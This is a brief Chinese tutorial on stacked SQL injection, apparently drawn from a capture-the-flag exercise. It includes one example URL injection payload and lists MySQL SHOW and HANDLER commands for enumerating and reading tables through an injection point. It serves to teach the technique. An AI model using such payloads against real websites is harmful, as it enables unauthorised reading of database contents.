什么是堆叠注入?
在SQL语句操作的时候,每个语句都是以分号;
标志结尾的。
在我们注入的过程中,通过使用多个分号同时进行多个SQL语句的注入,就是堆叠注入。
例如:
?inject=1';handler `1919810931114514` open;handler `1919810931114514` read first;--+
堆叠注入的常用语句
SHOW:
SHOW命令用于显示数据库中的元数据信息,例如数据库、表、列、索引等的信息。常见的SHOW命令包括:
SHOW DATABASES:显示所有数据库。
SHOW TABLES:显示指定数据库中的所有表。
SHOW COLUMNS FROM table_name:显示指定表中的所有列。
SHOW INDEX FROM table_name:显示指定表中的所有索引。
在堆叠注入中,我们用show命令来查表名、索引、列名等。但是它与SELECT不同,不能直接查询表中的数据。
所以我们查询表中数据要用另一种命令。
HANDLER:
handler test.test open; 打开test库下的test表。
handler test open; 打开当前库下的test表。
handler test read data first; 查询data索引下的第一个记录。
handler test read data next; 查询下一个记录。
handler test read data prev; 查询前一个记录。
handler test read data last; 查询最后一个记录。
handler test read first; 查询id索引下的第一个记录。
handler test read first limit 2; 查询id索引下的前两个记录。
注意:先打开数据表,才能进行后续的查询操作。